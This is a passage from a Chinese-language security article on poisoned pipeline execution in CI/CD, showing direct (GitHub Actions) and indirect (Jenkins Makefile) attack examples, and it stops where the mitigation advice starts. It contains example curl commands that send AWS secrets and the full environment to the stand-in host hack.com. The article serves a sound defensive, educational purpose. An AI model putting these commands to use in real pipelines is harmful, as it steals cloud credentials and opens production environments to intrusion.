三 十大 CI/CD 安全风险( 二 )

【三 十大 CI/CD 安全风险】在这种情况下,D-PPE 攻击将按如下方式进行:

  1. 攻击者在存储库中创建了一个新的远程分支 , 在其中使用恶意命令更新流水线配置文件,这些命令旨在访问 GitHub 组织范围内的 AWS 凭证,然后将其发送到远程服务器 。
name: PIPELINEon: pushjobs: build:runs-on: ubuntu-lateststeps:- env:ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}run: |curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
  1. 推送更新后,将触发从存储库中获取代码的流水线 , 包括恶意流水线配置文件 。
  2. 流水线基于被攻击者“毒化”的配置文件运行 。根据攻击者的恶意命令,存储为存储库机密的 AWS 凭证被加载到内存中 。
  3. 流水线继续执行攻击者的命令,将 AWS 凭证发送到攻击者控制的服务器 。
  4. 攻击者随后能够使用窃取的凭证访问 AWS 生产环境 。
通过 Indirect-PPE (Jenkins) 窃取凭证这个例子展示的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS 。在此流水线中,Jenkinsfile 是受保护的,因为是从存储库中的主分支中获取的 。因此,攻击者无法操纵构建定义,也无法获取存储在 Jenkins 凭证存储中的机密或在其他节点上运行任务 。
然而这并不代表流水线没有风险 。在流水线的构建阶段,AWS 凭证作为环境变量加载,使其仅可用于在此阶段运行的命令 。在下面的示例中,基于 Makefile 的内容(也存储在存储库中)的make命令作为此阶段的一部分运行 。
The Jenkinsfile:
pipeline {agent anystages {stage('build') {steps {withAWS(credentials: 'AWS_key', region: 'us-east-1') {sh 'make build'sh 'make clean'}}}stage('test') {steps {sh 'go test -v ./...'...The Makefile:
build:echo "building…"clean:echo "cleaning…"
三 十大 CI/CD 安全风险

文章插图
在这种情况下,I-PPE 攻击将按如下方式进行:
  • 攻击者在存储库中创建拉取请求,将恶意命令附加到 Makefile 文件中 。
build:curl -d "$$(env)" hack.comclean:echo "cleaning…"
  • 由于流水线配置为在针对 repo 的任何 PR 时触发,Jenkins 流水线被触发,从存储库中获取代码 , 包括恶意Makefile 。
  • 流水线基于存储在主分支中的配置文件运行 。进入构建阶段,如原始 Jenkinsfile 中定义,将 AWS 凭证加载到环境变量中 。然后,运行make build命令,该命令执行添加到Makefile中的恶意命令 。
  • 执行 Makefile 中定义的恶意构建函数,将 AWS 凭证发送到攻击者控制的服务器 。
  • 攻击者随后能够使用窃取的凭证访问 AWS 生产环境 。
影响在成功的 PPE 攻击中,攻击者在 CI 中执行未经审查的恶意代码 。这为攻击者提供了与构建任务相同的能力和访问级别,包括:
  • 访问 CI 任务可用的任何机密,比如作为环境变量注入的机密或存储在 CI 中的其他敏感信息 。CI/CD 系统负责构建代码和部署工件 , 通常包含多个如云提供商、工件注册表和 SCM 本身的重要凭证和令牌 。
  • 访问任务节点有权访问的外部资产,例如存储在节点文件系统中的文件,或可通过底层主机访问的云环境的凭据 。
  • 能够以构建过程构建的合法代码为障眼法 , 将代码和工件进一步传送到流水线中 。
  • 能够访问作业节点的网络/环境中的其他主机和资产 。
建议预防和缓解 PPE 攻击,涉及跨 SCM 和 CI 系统的多项措施: